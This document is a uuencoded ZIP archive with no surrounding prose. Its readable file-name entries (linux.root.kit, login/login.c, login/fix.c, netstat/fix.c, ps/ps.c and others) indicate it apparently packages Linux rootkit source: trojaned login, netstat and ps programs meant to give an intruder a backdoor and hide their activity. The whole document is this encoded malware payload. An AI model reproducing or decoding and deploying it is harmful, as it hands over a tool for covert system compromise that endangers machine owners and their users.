- MF0&RN;ZLUI5-LWZPM+2AS#B=TIO:/_NHLCP-M#':H`OUVD^S61Y=CZWR@J[:
- M?OY\1[W)_>0F54?X5QNK\P>ZG:?7.E=OHB0I:0T2/Q_I4/E)J#X<[/UT>/2+
- MFJ1A-(K0.$IS9<=:_;)W=C90WDQ;]$O1DJM-8DIEIDM$KF;J.`K&OH[5CWWU
- M0SI.3)KTU&_R,/G>%(F)K.X72=#78=%7ZN>Q;U5D5&$P#7Y/\4Z4\)CKWXLH
- M1[--U=B_U<I703J9I(F*$JQLY`>Z[Y@_+AFM9B\G7S/@C2A,_!NM(O#-T@33
- MU[D_H?%J+S:INDKS/)V"@H[U1"?6J'34E)*ZF>B)NO(-\],FL#_VDVMM,$6H
- M203GZ97.K?JAKTY\&X%?+^'?WT-2-]KV#62L<]./\3K6.NQC62R^[<WG3^97
- M=*](:4%7&ON3:Z5'HRB(P#+$HH*L(%$2A9W-G08]X5%XCZ-$$P5T5$5FHXFN
- M-CA.?:C`K<[]:XW=(='0:#\,,79P^/YB<'&&S4A"T+A&!ZQQ/YW&>M:#7JEC
- M/R?U>K*P+=A(2_MWA0UH+&@PCG0<&N5-?C/\^'TRN^L'I@_5@'J(3)X_?[JY
- MA3\[F&Z@@R*G=4/0S!/:.F%'I1G+N6S:RZ\+VD25^;D!HZQ0$VS9+7\>3",;
- MC,%6FF,?:*-M%-RH,#)9[,^<9/*>,C-8T*2GDBC0/16%L>ZQDNO`)]%A+:14
- M1K;!Z`1MEM1YZL]H%CN+-93XNHC]//H#TWF@_./J.1/A,1!Z#'ONHO=^K/T$
- M?8I,38I@#$)Y6ER/T\+2>EC\03$!*1O=B@!8]3[H.%,FR+5.ZA4ZZ;^+[C#J
- M)HIC=55<Q[#9*Z9IV1QFRK<6,B*YB<ZJ#VDZLDSV+$^O8`=8"587W4&$)"5C
- MPRAE!Y%K/_2ZF],<V^IU2PYIY+6V23'QNC2'26/PF@DMIKN]L_ED"TIYCTH[
- MIF6I-KV^CGG6PF:%I<E)_+4#5+>1K]:B-76C9TSYR>;.\\WG3]5["#S-9T3X
- M!)N:)NEM2QQ.$E.X+FR./V55PC*3-4N\6YHTA^?$]H3]FJ%0C_PBAE<@0S'1
- M=>+'O$*=B,<D%5&W?ER4AL5CGVT^)9Y^@(@OTLF56;"+4KEWGBW8Q,O[;>(U
- MC]<YV7*6Z]LH+8P*G`/"U%O]OY)[I(?GSYQ[B]FQD7F3VM)&SB97:1P%*O$G
- M&.;I_G6_ISH?/IYUNLT51@F$ST3.]31/8<+5]O(<>#,V][H]>D*+>\)H>M(V
- MH+&;R\O+WT1)$!>0]$O8U*:=9=KTQZ^;S:1:"TUQ=-5N*Y((S?/]<O)%K;91
- MD-BXW41N;FX@6(G28+YC-IV;`(I8W&T:\ACW?;!V-C>3SB>!GRTV1NG\JEG,
- MBUS=SRO4,BWR8.Y+0-*<ZZSM;Q.>OV[L@$*4C"#C3J,Q,^UWBKXR>;-5V.2N
- MR\N;Z^IBC.@,L1>!)6_,QH*&%'$D@$>(`E8=Z-%$PM\H3R<J1<P9(6*2@2PK
- MQ>J8Z#NX-VB($%,&D6<(XE;]G;J0DK%K-KO5:Q:%C1>$N_JM(,[K5R.O7W9+
- MILG?1M<1FR[M!CU@N7ET55CH8X,/V2PU`#O8W=UR>**G?W+DN3_E@31RW^=8
- MX[1"P>7FD1L$N\W5>H`0LQ[$_$]NTZO4EH\ZI=9QZ@@5>4Y!;1HE(4"A04R!
- MYSTAL^2P$S&0BO5UZ9NL>BLA;4A^TY!D$(H(TJ`_L`+^CB*[JZ(1[X:C2S1\
- M<$MND,)63_F((%,.(Q#A39_H'"9*X-\4,=2\:$]$)(B@R70@?F[BWRGXC2N.
- MMC2^=N3@M`R\WA\Z3]G_0'NB!+$%7H2\Z[%_1YBE(NQ#\?R8Z`A1%B;M^1'U
- MZ@&2Q/BW'-5K<R?"Q,=H4DP@KN3:CAD#@##A2YJ0$1+:_))1GH'`ZS4%:0P.
- M)N%NI5<$JAR%B0\4%J>`[S0"9CB\*D8098A8,\2K##IL6(=_A2"GM$]!WS<W
- M]]O#B9X.J[=?3\Z'%WN#'P>?G6*DT"DL65&N$*>(8%,(/]8ZPX[9*6$#!Q&*
- M+/198]5>`"3EV](:)U&0IT8':1+*6D=`@E8-B`@#Q%?JF1,<!<Q1[%^;2NH.
- ME;U26[O\OE\#E:KM).4`SN^5W,:`$5")+"=`CT!J680-:3KI8S\,X:!#*']:
- MQ"'C+F);0!?T]^+P^("!&5CUC#_KJGUN(DC<ADT]0`#+!H/4`#D,D2&Y(4L(
- M4U(Q\4C?(.*3$B`5>GMPKB[9K724.CM\JSX.T$(_9^>',,!#`.-/!TJ='PS4
- MX,/Y6S6XV+M0*Y2PK1P?'"MA;O_T^'COY&VG6CS,*TL9,Z:\5DYJH-G$Z-IX
- MK=3%.6Z.SH:#_?.#@Q/5N5P^;`QQW8WR<_WB,KE<IK]_.[JTYZQ[8I"L!?1A
- M3-CSNTM[EK./)8=.,J9/T:6](/BE2[MTZ*\!P+2ACC>7]D?R"C[KK?*`JL<P
- MUYE##UWJD]`\WUS:@9:]K9Q`M;7DJ2!_ZOS[I?U/)`KTF!/?#*J$.K4-*L;F
- MMI0^FGJ.4),SP<X[?:Z,P&G_9=*I!#HXV/]X?C#\4W*]]:/8!Y1UI.M$Y/]*
- MX/^N,+\B.%''DXJ0N%F819D?DC=NL%7Y[7N,9'AT>`(3^`N3'#`J*ZE`8AKY
- M=:X`-PU2R_;PL_/3]R=[L)$.3-]A#,J'\H8,6P,"^CB4#\"B8ISL149>9\5T
- M>NC1%3;(M/UR=K`A7A[[>V=+)V.R:#2:J5$1QQO.3[H5MR8=?#C]^?A@,-A[
- M?^#==>$LU-_5TM+2_.0\O;U.;>I18-_JJ6==XD?">7>W-4#=[2XM541&H[@P
- M8P\(%Q&ANUM_8%_N[73+SE^0OT383F\+JUR^A6L%K`@]>NCNRCM`6=9JD.@^
- MI)#>[@@)26#T7-3)#+\/R3NK]6R,GA(-`.V'L*W,Z'!(0:&D4\5%IC71$P)_
- MK4G"=&BL;Q^<HJ=DAB;U'B,\'^EQ3039GL>@*>A*6''YB)M+\)3+2ER;ZT4Y
- MB6NI%L,/92O$O$R=ERF">S0*4"GH*:&YCI?;[K+`4NC5.U<O,0D8'J<2,WBK
- M[E^@P-+%1>XV"1H=Z\!BG^>I4<];0G6WCDXX)'07):WAKMA!?'/UPU1D',[,
- MJNX4?R!+SN-!IMTQ0(2N1Q%NI11CM\60P%P`8H&Y0I9_4?4`C.@&&ZY=IB!!
- M/GXLU)P6BW`=YE\*,J"$];+;4MDGR*C'$C/!]9MV6^!CRK5P[<7RTA+P@&<,
- MX.W("[+'V\AL5T8PRM4*S735HU=JF\?RX)$S7U@>'$6OX9!>J#=^Z"(*XZ#_
- M7C%K<)O0"U"&V@@!?1=93UZ_X"]9O[J"<&]H&=3*+[M-5G^O6'T$52RBT.MV
- M'35LT,_C&7OAC1TX$(B`*T*$+I,,[A/`<%:!X7%T/=;&?N<&X^=GQDB2$W"E
- ME&H=')TM[WN>Z/@[V@\9P>+2%C)`?F1G'E#-Z1`BV(>SXWP^(^9Z:F/[6;>6
- MV1)Q"5\ZUL&-Q+/?"@#5D2BBGZ21SXC-H2PWB(3M6S\67`_+`:=4>AG[6>:<
- MO.N9L<OVFEO19+(+.E",L%/M`0F^B5>W[I?[@.3.,[1@ZK;K=,\(PSM5@=SM
- M>;JN-D2=OJ9('Y.;))TFE5U`E0)1)=)C(EIKD5L/\Y"Q&7QAXZATZL6R=)FS
- M/$(&128H^IY$M66(I6%C2=ACG=QZG8N#\^-.UZ70I)EE'VR[6E[BQ(6(I_FL
- MI_Z#>KLMA">X!8`@C;VB4J@5E(UXFS&."G2/5\,U`BJSS0AM8^.A(G!=MD@`
- MS&(0O;7;6UNDV0DB?#Q#ZCF%JO/8($7Z"]_CD8;E1`-1%3F+>,NEQG(Z/UV`
- M2F>7.?[:EL@2B&NPC*WH[C(IC"JWHA26B)_G0]"M)91":[W.9JAOJ0Z$O3P=
- MGK\]/3GZ12SE/B6V(<02.9!%94B>>%EV'_V3U-'_4LW"52H/GN!B__W!Q1ZY
- M,BE-=-6K5[#+A^:2<2U3>6`6\>20757SJ%O[P3"FA$^MOE+_<[B_=W)Z\N#G
- M@_T/IW,?@^#7GXX/3SZ+Z2Q\HN3HLYCK/<L=8+GOL%X9TEJN0UQP\R1)JA+3
- M"K@N2?#;X=MJS=MMJ2Y(5$HVW85@]E[;^=H-^ZYF%:9M5VQ-UCOY>'34JZS,
- MS1Y,L%3K$$HGF$!C2G4JBS^M#F&K0^M3/#\6\++503<ZC-/FIW':^-0$AHO+
- M=Q[%%83YY(>.KEHKEH_>X/#]AX]G/<6(2JUW"41U"9BZB>INAR<7?Z8;'3;-
- M]R-<N]#QY\.3_0_S/1OKJI>E1E%N!%"51RP]"5Q!&A/ZJE(IQJOE"K,QB<^_
- MT<,2\'F`%=6?+?GC^&KB.W&N;=3LNE68F.!O"_A6E`3W;S?8I\I2K^2UD9!Q
- MO55B*HVA+XYUQD^>V(R+]+]-,J^N2!'L$!UJ)E68DOQ@=29&$05Y.$MDJ9$S
- M<'JPQ'VEXK2JIGXD.``(\RKU\U#.$<1+W_;M+<!K0*ZF#-:[97LA'[PZC&\H
- MWLP&<EM7\.WT@U'OW@X_'9R?>JM1TI57^`NR:M<@ZV50O?TMMY9[M6H!.%^K
- M+;6Z*H=9U`:TO\TN9MN)I,PX*M>!@$MI)9V(G%`!+R:]I3Q2WP$>4#E/3CQ(
- M$9>KE,RE#?>XM=*-[\XED9<Y`X-6&LFU30ADNUOJ&;DU4I4O%5/E"6W@TP%G
- MWF"FS@?K).9<&^?<""A42<"_P.=#/#XI>9Q+:;DM]R-$4<=JM\I)CJCHW.]_
- MC8W*1_]+?H(JHFV5IWUNBNT<&F":-7!R&FQ-056&D"_`*WSZ@3^!#R/$YE,Q
- MR!89G^K2$)^N$\@&&%4Z)R.`UP_)UYBJ-`UR;WQ#!R8$?JQ0YOL?5*:@<`,5
- M@P$&4HAI<F=L,1HU-G@AOW?[[#(V?.9A4^.<21UHX<`N#D_WB='!)TAY:C@_
- M<G&6:NFPR:GI3\T0C@=F);M<MN7IU)D'O!CP<CW&NNR\$Z0<A\MQ57L<=;K-
- MJ%S5^5_-'2A\-_?^HM*T9NFI1A`5H=?W=NQ*IMF8[F%R4NM'%U[4!LDSAH.4
- MCEWU6/VE#,%M]UEK%R$(7\DQI9R%N:/8?)>?Z%()^9#Z#)4&Q*6JP3U!.XA0
- M=7@O85A*_>);91VD8HP"N>9)YJ34R9L7G.YG*>>"1`?@N<@3N6_C<Z`3#:2#
- MGA2:R\?DHQ%?@4@%I\/99!0=(\L'!NL*:-/0P4196R4"1M11Z@;+S3*,TT7^
- M0JS^^N;CN\'AI\]4T(+IRYO(ICH*WD6F=!7!`O)9Y1+HDHL[0W!>XYAB-]_M
- M,92><=(KS&,5AZ=<TR?^^1I$49=$[G-,=1N%#V'M!(#L['1P^%^<T*0W?)XM
- ML8$TG6/'X.+MX<GPW>'1P<DI[(<7&'T6)R.&X8H8\N7QX\]D7\C]UBC\1.HE
- M6W0ZXN^EY^2^&QO1Y\9Z9>.DVX*&R;4H.MUKZ1A4P-E.70=U55AWE8-HPMKY
- MDLP(.[Q&:.+6CZ-P5RS:=:E+SK+/5"QS.KNPR>O$8WT6&]6/N5L+'[&]JJX0
- MN%;R<IYLL7)RW%606`5?'D4FC*X1^-S7;EDW*G^:95IDM-4Y#S1=F'_4*45<
- M_CBQ;FPWVK^T$VRU!]E-,B08S#<;CIRTBD2]L3]^5-?MF%/F<.NS<S9.B#*+
- M>&8I45$W*E$1U%_-RQ@I+.7W.!(I(L[O\0]D!W%THRLW(IO$O9?;Q<Y_OE$R
- MQ_]OU0-;-?J36^6RIO*<)N?[-@M;=SYO7CWJ*@:9.I-M65Q5R[YG(^L*KZ`4
- M[9M9M=:%C6SP3VF*\+M3^:%Z/24YRP>7!$KD_N,CQ>!I,0TI$X?(-D'H/S]K
- M:*,6]UFM$S3JJ?4K;6RMK$%:)+9'Y\4-!4Y"?==3U''(SU^OO%='%S26*O]T
- M?%%+\6TC_6E>C:SC2//@9\4P:A^GB)O</I3;E5[K`*@B_MX=XS5EUV]EG+D>
- MY=J,ZZ234L6'$T^JSTTF.HRXF(94EW*30B9Q2U>MVYY\'Z>:\D_DK??)16Y)
- MNGR9,;,?!U18U002",3RW66^5E1.]97<=_N!:;`O=*^/4]RIGT'"A(H+PQ=5
- M'=ER`\%]ZRAJ(6_AS$4@7&MKJ-=<`>0=Y4;Q#(I^A-R[+!H0"F/YEA<6*#GN
- M+6J^T$!J,R:SQOP&2\QUIGW;KJ&P+M=E,"+YBC+=UD&))[U>5D"Y2P#"H\ZO
- M,51JCIO,<\V9.^7,-4EG\0QW2:;:H+(V)R"OH'L;K\D@T4)V1(@=']R;6)6K
- MKS>?'8_4M3J5(>?:OKK"(S[WZ>86P#DE:7RB($P\V)5+[BU6VKPX2V_6S;F)
- M2^<L3UD9_=IX3=?.N*2^Q/+D3L1I)<>*?7?'K*<R=@M+"R[#EB<%[B97F-F\
- MU41J3K44<6H^K8!^%<:C!73+3QR%W!V9?_Q#>3R.4>*`06+]_FF-MWF9T"F=
- M?+@S;KZ"P1Z$&^D8A64\+]1:;+5D,S$9^K3Q.H<GDAJ+VE1>95&;ZNG6\V_Y
- MF*(TH\MDY5FH5C;^:M3*DU#^/FW\1?-.V%\)W2]87'U$)7-E4=ASCW+C>H=.
- M#ZFD@T1+VGF'\*D>VOY>'@B5=&XYR]W$`G:>]N;GD[4]+?N23"=]@WW2ZN5+
- MM=/CK6F,8@D2K9X\KLBCR*-ZI%;>R+D=22WB9.7ZJFTA%?#<HMG5/J[8X0+7
- MIOKP:=<=#=9'5.79H%6/J^%!>WPP1Z!R=T_"%RM;.Z&B:@V^?KM%OU?PF[=S
- MGN_F';B::^)FW<TS"1D@.(Y$Z2O]<5_Y/`O)PX.=RB6Z?%HZ4$U.$NXV]5]=
- M%KZAMC^71WMSWEPZMKQYZ0X`8Y:^;@7.`=9H<IYX=3%S[F9'!8;GTLD:.9$O
- M%MP4N/N;O&E>E+0NW77;H5-&4$^B409O$R6!%C#B&^ON,_5KK`>GGM@(6D<!
- M'ON8%=;][X=F)):8V<X.[KG7T49BU16$"CI)W6#^>QJ'S2[5MS_H_B\_/`S(
- M^`-?PI\@&P[]F;<JF(!__7%_>=UCZW)%Y8UR?M?@`#TIPF/E\9S=>D2Q,(1:
- MNFS;_--WX;=-E.)(_;;0HVAW*:H^#F@W^7^@"NFPSCR8ELN)+E]P&L).1OIS
- M`;*\I-9C'7!WK\K==W19`2I=B]+$%6[*R+:\>(^'E8$CFM#XE?SK9UJ74P,*
- MAB.^FGTOI.[Q?_"2)V!:+4_L>EWK53$2[#U'@<!>@P*].A+TR$HSHO*<.XDE
- M<+/I6&\<QY8@F3P.=2_+F\[/+QZ=[I<W$XBN:I.M<D^J\/,+.0TN!8T0T$1"
- MO;*H(Z]=KMQ37SE$'LEQETLLRR&=E75$S?O^%NT_C:8.':VOUH)>K26]6HMZ
- MM2GK52=L'ED+>+4AX=5*Q,QGZ0^/]>2%4HC[/T+5>O)`H]PC#7*/9IR7K52/
- MD]P(\S40!<?H2C&JAI+IJ@&C:NZK5K>&ZKT%XTM^!UC`BZ_S2YQ5W)7":'/'
- M"4>+O68+AM6W]5M<.(LOE]RR]OVVJZ_O<LHQ&]V8I"OA9%Z(%GF1$';O5<=[
- M\M]KNOU[2)608YY&^=_9!&K)?VH#D04:I;>0_TM(KH)<27U!O<[G_ZUK?:JZ
- MU_>57'\AH?_?5J[OIXTC"#\??\4EE841-3*5^@"4Y"&T:A]2(814J2%*7>S(
- M5N'L<K8C(O&_=[_YL3NSM^>$J#P`>[>_=W9V9O;[CA2=5F!('GK;>8[S&)<^
- MJ]F4$Y^7]W\O9OR_3)^!&:`LS<<'(IAP-LR,36..;!KF>4P?C]4[,RH0E*P/
- MF2_G#\J$Z2_B^6/G>*@;<S)"=\$UX^I?:2&+AK`:#-3`X+5>+\%];1Y9KEXH
- M)$(U5P%$]!;1]`DM47)W@:N>K$&>Q0G-WK[W8(TO:#RNY$L:/U9]1#&S(Z"/
- MW3,25_LZ`;?\DPN%<JD41'=/X5F<[SKF8_GHR?:G9F/)Z<EUI;E$ICK9$AR,
- MI[6^H`L4@+]J]@OT_H:F*-A%[(?;.I[H]GVOLALS[FDJ%GDI]34];NMV<P_U
- M`1EFPQ&EAQOV"5;!/-5(#=N?["P<[542!-#M%;UD=2YT4?BBONBBZY9(M?3E
- M#!Y?;("H7%7K&M5F-MVN]%6I%>SLH=:G-1$2I`&1)`@>-`/N6A\Y-!MIE=@!
- MF)R%CW#@PB;M<Q?K,.W*6,U@-=(19WIT7KL"0G6K9$[RUSI`F9S\M:J*BOJK
- MVB$+B@B6L"!=5NN;("%BOJ3T64[Z@SFPQ-/0$$&`(>T-_.I+\:"3DQ.!7NQJ
- M*.0ZV[5!B*E=V^,N<G2GK`9U.$:ACW:'G]QA<9BDS1P9ATF\*)K$ZR[QB2`S
- M%+B0X9F3Y7!GPQ)CHW4K!+&,`J<+_32>GX+%ZP:8SB-_[@U=NKAPK'0Y8&Z/
- MR*%)E5<\.UHTH%LZ/G"ZA0WW:NS@?8-IBE<&0VYJ#*"0B&91^)^U=K"A]S1\
- M@\*B\J.!)P:_'J/6H(J5:4U2UL<4M&.PLNBD0K<HP#48B&D5DR*"ID?I'=M?
- M,8F%RCII)I>C3>8!1:)B3K>"G-<]\KF-['%>\\#G--+#.<T#CH5EL?,N(!G?
- M[2"YI;N&_=82@[T`V/M$4K&Z1NE6,6CMV^7J4>+9=[/MA`S$C\MXHX%=P98+
- MX=0ZZCC?:O3X+,NIXMW)JPJZJY9+N55%=+5T*;=A+VL(RIB2:3*,"W$I%T<>
- M9^?M<\.841A:J#!X&Y2WLT%_87CDW/#>F'W`*!#Y)`M(>0HO)PH<&W#=#7V+
- M`W#_W_T#9W$2J""^/OZ!UC;'S\@M;)]<L<7H@.[!L&H8E$>?QZCKX1\`?:P-
- M\5N+)TR\(,P!6^?"K^M@L!$/%,9!J#P\^"T85ZO5DK[O,=,ZVOG,\*+;A+S_
- M)#=6=/!\FN!;,HOUT8&?'`]N<Q"[;*B_JK%(E-%U1E7.H;AB2=^J_<Q&ZQQ&
- MJXUIWC00GM'U<E5?!6NG!1%YS+R6.]Q@6DUG/[HR:,]R$B$]:_CJ0M(WC5-D
- M4L'K^N6R>5F?AC\?<8-N^!?9JUA2;D3\:]LW;NOR`=L`3@Y(34$.P/!;-)M9
- MN1L%TN>II=82=+2S0!%\6'%(#'X0=A8)JQCN:<87QEN)W&>YX>%\E8<__+X<
- MV2D,\U,>O.RA;HO_8(VQJWB<8FCX1FXF;R81#>5IK%1SI0@^511T0\.P`+VJ
- MTJD'$SI,-:H*?=-P.VM9Q:"<)=-8K.&18FOQ8UDT5CJ)5HSZ!U/F+0F0XMWQ
- MC^]#6[*D^-5+M/P>/='VI?AY_#B)Z9>^R[H6BP!?^O/56U,"(QZ:B2'>5C[/
- M-(2P5>THPE]F8IS2`H=2W)RI"T;'`T<CF:1!J_)4$+!&!(Q3W]D-?EG\N,*8
- M(\+-W>)^L9Y-#V31]"CPJX9QQC<)#(H&/1+SW)PE]#JC$Q3[_O`,47U@&OA7
- M"^NV5U*YIO];5H6F+NL<FJ&O`'V+E&Y51//N;`ORR9F/QU:2>SE\.C%%294!
- M)%D-8]@IJ=OGB*E&;3S;[D5*%97AF\X1L^N\Z->)[3,$C3^BY+X>T"]N*@$7
- ME#O[P(`1,;^[&(-GES;;8R(REL9HMI>?WQ1GRL>C3$.]R071L!Z-ZGFP:?Z:
- M[Y,>",;+"J?]09_EKJBTQ*8Z^H(%X]#Y:KT][?T'4$L#!!0````(`&&%2QUX
- M;\M7C00``(H*```-````<',O=VAA='1I;64N8Y56;6_;1@S^'/T*3H-=R9$=
- MVRF*-6ZR`JTW=$N6(DD_#&E@G*63?8VD$^XEKC?LOX\\G5^3=!W@2"<>^9!\
- M2-[EJ`,W<Z$!?PR,$@^"%6!K(TH.M9(SQ<H>P`>8<\6G2U"\X$QS,&3C]P/H
- M@*B,1"':V&DA4LADR43E+#.ATX*)$EA%]KJ6E19340BSA%PJ!T40'@VZW2Y8
- M="$,,`-+:17(105*Z'O$BQC&FI,KQ6%!#X3M]6#4C0FD6XITSGAQ_T7.*RTK
- MB/RB?*LM^C6\9ZNTQS-+ZF1Q(3.1"YX!9G?.E%K"KXKS"D5%!IC43#R@#R@E
- MNC**9<((62%'TIK:FH0@4FDK0S$KG0`W*84Y\R!O9\QJW5/6S'#[.<?E_1=@
- M,V2,/.;B*SK,^0*,0,JF=E8(KGM/F/W6@W=R4?`EF;$L0PZQ$**:N5+X*I9<
- M:S;C3H4`-%89-2+'O:QC)-`E*DE=_,71?\%ACM("]3"7P6NX8`I?KX]]$$=!
- M\*.HTL)F'-YHDPG9FY_MB@HQW9>1VUU9GE:FV!792J#UKHS2V-,R9;T'O]1'
- M0J9[<.%BSDQC'FY)45E4N21AH`TSV+#8-0JISF\'PY_N1D$FL8^Q[@^WQ_@5
- MN-V.=O1.&EZC!RFR&/X.@!BU*38`!N4>S?<(=P3U15V*RAJ.O6'K.;:S6V1L
- MJ4?.UKEWBF@ZR3,XA>Y@95PISK($:NF5G2-30@?E!85!8GI/#)!(\U16F5Z;
- MVY+:DCY]1DWP$]3#,$16-$M,\:B#A5?:P(P;USZI58HCAFLB*GGC*&IO^8D)
- M>14*!E[(M%D_UL(44*&A,(^0Z01":`VSDU9_F+4T0)@$!P<KK.Z9*2=$5FLP
- MA)_A2?$)#(:/;)#KY+$ZG,%@@#AA789H%[(RC)N<B5\W`1AX:@MFN$N>E6ZF
- M9;Z:HH8`7_KV#HOM-8V$";ZXF&R$J<;;C,,11*_Z'?P-7\:^H"D><IX.6T.X
- MYNKP%(Y=&7.(&D0\.&"]MT4D')(0[5L9H%Z+EJL62U;&\,,I#&*B0#L&&D?K
- MWGPFVE?]1LNU+>IL])_::U8M&+[<Q]ZL6]Y.Y)$W^.^T?)/XM-8CY"%=(AQ[
- M[3OH<=T1[AI3%S0G.!4>)V;*E2L\G>>^[JX(?CS?0+\9>]B:6%GS*OIT<_%Q
- M\LN'\W$"EY.K]Y=_G/_I@GO6'L/E2DD5A62/\[!&\':8V%=AHH'__">@/WQ@
- MMOQ^A9A`_SR!Z_'X]\GU^*;I03_X&)EC>S&G,QUQO&-WK.`FO38P[<WAE8#&
- MJX!86(NV4O'F"![[,*<HN=]7>#)3M_-=F6Y#8?<^#FB-G?MJX\V!7K#"4T:C
- M8!@>@O_'5[0![UDS,<N:4Y:?KL=7DX]7E^_&U]<QM-O!P9YBQ4I^V[^C*%]\
- M[K^(5ZSX*AP>CE:%^W:;NY[S\^MMDTTI<8!I?MWXZK"I<R%9QAYF41MOJOX=
- MEA#?`_\>WC4ZW_#I[/&6XPK_0SB!5F^(Y]#FZ8YD\-`>>0M8<6-51;?F*,#L
- MZ$*$QU=D0%7ROL.6_EQA<KLW:1R3_;]02P,$%`````@`C(5+'<(K5\!S````
- MG`````T```!P<R]W:&%T=&EM92YHT]=2*,](+"G)S$W5RU#0U=55*$Y-10@E
- M*Z3E%RFD5A3D).8EEF3FYREHZ7-Q*6>FY:6DIBG$QX=[.(:$>/JZQGMP*0-%
- M,O-2406YRO(S4Q0*BC+S2N)+"T!&:H!$-*VYDC,2BQ2TBK%)<2FGYJ5DIG$!
- M`%!+`0(4!@H``````+2^1"+=R\9L*````"@````.``````````$`(`"V@0``
- M``!L:6YU>"YR;V]T+FMI=%!+`0(4!@H``````+(;/B(````````````````&
- M````````````$`#_050```!L;V=I;B]02P$"%`84````"`!TGDL=R>L>:7<$
- M``#7"P``"P`````````!`"``MH%X````;&]G:6XO9FEX+F-02P$"%`84````
- M"`#.G4L=EKDFE]D!``!N`P``#P`````````!`"``MH$8!0``;&]G:6XO9V5T
- M<&%S<RYC4$L!`A0&%`````@`N9U+'<(GG7W&(@``I%H```T``````````0`@
- M`+:!'@<``&QO9VEN+VQO9VEN+F-02P$"%`84````"`"YG4L=O.J[7C,$```T
- M"0``#@`````````!`"``MH$/*@``;&]G:6XO36%K969I;&502P$"%`84````
- M"`#%G4L=-9MQ6KT!``"U`P``$0`````````!`"``MH%N+@``;&]G:6XO<&%T
- M:&YA;65S+FA02P$"%`8*``````"Q&SXB````````````````"```````````
- M`!``_T%:,```;F5T<W1A="]02P$"%`84````"`"B:5`=0OU.EGX```#V````
- M$``````````!`"``MH&`,```;F5T<W1A="]C;VYF:6<N:%!+`0(4!A0````(
- M`,)\4!W)ZQYI=P0``-<+```-``````````$`(`"V@2PQ``!N971S=&%T+V9I
- M>"YC4$L!`A0&"@``````L1L^(@````````````````P````````````0`/]!
- MSC4``&YE='-T870O;&EB+U!+`0(4!A0````(`'!C4!T.[^U8K@(``"(&```0
- M``````````$`(`"V@?@U``!N971S=&%T+VQI8B]A9BYC4$L!`A0&%`````@`
- M<&-0'9[4Q17N!@``A!$``!(``````````0`@`+:!U#@``&YE='-T870O;&EB
- M+V%X,C4N8U!+`0(4!A0````(`'!C4!V=`,XSX@0``-`+```3``````````$`
- M(`"V@?(_``!N971S=&%T+VQI8B]E=&AE<BYC4$L!`A0&%`````@`<&-0'9EC
- MA1=2!```(@D``!4``````````0`@`+:!!44``&YE='-T870O;&EB+V=E=&%R
- M9W,N8U!+`0(4!A0````(`/!Z4!UG_V3I!`,``.0%```5``````````$`(`"V
- M@8I)``!N971S=&%T+VQI8B]G971S;V-K+F-02P$"%`84````"`!P8U`=HZ6G
- M>0,#``"?!P``$``````````!`"``MH'!3```;F5T<W1A="]L:6(O:'<N8U!+
- M`0(4!A0````(`'!C4!T::Z]`>P8``*P0```2``````````$`(`"V@?)/``!N
- M971S=&%T+VQI8B]I;F5T+F-02P$"%`84````"`!P8U`=7(PDR^D"``"@!0``
- M%@`````````!`"``MH&=5@``;F5T<W1A="]L:6(O;&]O<&)A8VLN8U!+`0(4
- M!A0````(`$"I41T!'JB`M````"8!```4``````````$`(`"V@;I9``!N971S
- M=&%T+VQI8B]-86ME9FEL95!+`0(4!A0````(`'!C4!V6Y9WUC@(``)P$```1
- M``````````$`(`"V@:!:``!N971S=&%T+VQI8B]P<'`N8U!+`0(4!A0````(
- M`'!C4!U1NK5:M@,``,X+```2``````````$`(`"V@5U=``!N971S=&%T+VQI
- M8B]S;&EP+F-02P$"%`84````"`"C9%`=(OH;U($"``#<!0``%0`````````!
- M`"``MH%#80``;F5T<W1A="]L:6(O<W5P<&]R="YH4$L!`A0&%`````@`<&-0
- M'?.ZS?LZ`P``3P<``!(``````````0`@`+:!]V,``&YE='-T870O;&EB+W5N
- M:7@N8U!+`0(4!A0````(`"BI41T5-&WC_@```(T!```0``````````$`(`"V
- M@6%G``!N971S=&%T+TUA:V5F:6QE4$L!`A0&%`````@``JA1'=DI'P]R&```
- MC60``!$``````````0`@`+:!C6@``&YE='-T870O;F5T<W1A="YC4$L!`A0&
- M%`````@`B&-0'7BPS!U-`@``(P8``!,``````````0`@`+:!+H$``&YE='-T
- M870O<&%T:&YA;65S+FA02P$"%`84````"`#NJ%$=!7O0U?(````J`@``#@``
- M```````!`"``MH&L@P``;F5T<W1A="]214%$34502P$"%`8*``````"(8U`=
- MWU8BXSP````\````$0`````````!`"``MH'*A```;F5T<W1A="]V97)S:6]N
- M+FA02P$"%`8*``````"Q&SXB````````````````#````````````!``_T$U
- MA0``;F5T<W1A="UO;&0O4$L!`A0&%`````@`[F92':9A;%ZO'@``SET``!$`
- M`````````0`@`+:!7X4``&YE='-T870M;VQD+S(N=75E4$L!`A0&%`````@`
- M!&52'<GK'FEW!```UPL``!$``````````0`@`+:!/:0``&YE='-T870M;VQD
- M+V9I>"YC4$L!`A0&%`````@`HF12'1X)?UV7````W@```!0``````````0`@
- M`+:!XZ@``&YE='-T870M;VQD+TUA:V5F:6QE4$L!`A0&%`````@`Z692';#5
- ML++I$P``!$0``!,````````````@`+:!K*D``&YE='-T870M;VQD+VYE='-T
- M87102P$"%`84````"``B8E(=>('M0=`0``!"3P``%0`````````!`"``MH'&
- MO0``;F5T<W1A="UO;&0O;F5T<W1A="YC4$L!`A0&%`````@`W&92'6?_?4_M
- M&0``YD```!4````````````@`+:!R<X``&YE='-T870M;VQD+VYE='-T870N
- M;U!+`0(4!A0````(`%:\;AS15/5GB`$``&8#```7``````````$`(`"V@>GH
- M``!N971S=&%T+6]L9"]P871H;F%M97,N:%!+`0(4!A0````(`%EE4AW._=J#
- M#0$``$,"```2``````````$`(`"V@:;J``!N971S=&%T+6]L9"]214%$3450
- M2P$"%`8*``````"R&SXB`````````````````P```````````!``_T'CZP``
- M<',O4$L!`A0&%`````@`885+'>_UZOU9`0``P`(```H``````````0`@`+:!
- M!.P``'!S+V%L;&]C+F-02P$"%`84````"`!AA4L=81V![NP,``#_)@``#```
- M```````!`"``MH&%[0``<',O8V]M<&%R92YC4$L!`A0&%`````@`A(5+';`@
- M8^'H!0``X@P```P``````````0`@`+:!F_H``'!S+V1E=FYA;64N8U!+`0(4
- M!A0````(`'.>2QW)ZQYI=P0``-<+```(``````````$`(`"V@:T``0!P<R]F
- M:7@N8U!+`0(4!A0````(`&.%2QWS!)RV#P8``/<1```+``````````$`(`"V
- M@4H%`0!P<R]-86ME9FEL95!+`0(4!A0````(`&&%2QV/_G#35!,``-TT```'
- M``````````$`(`"V@8(+`0!P<R]P<RYC4$L!`A0&%`````@`>(5+'?4?3;)6
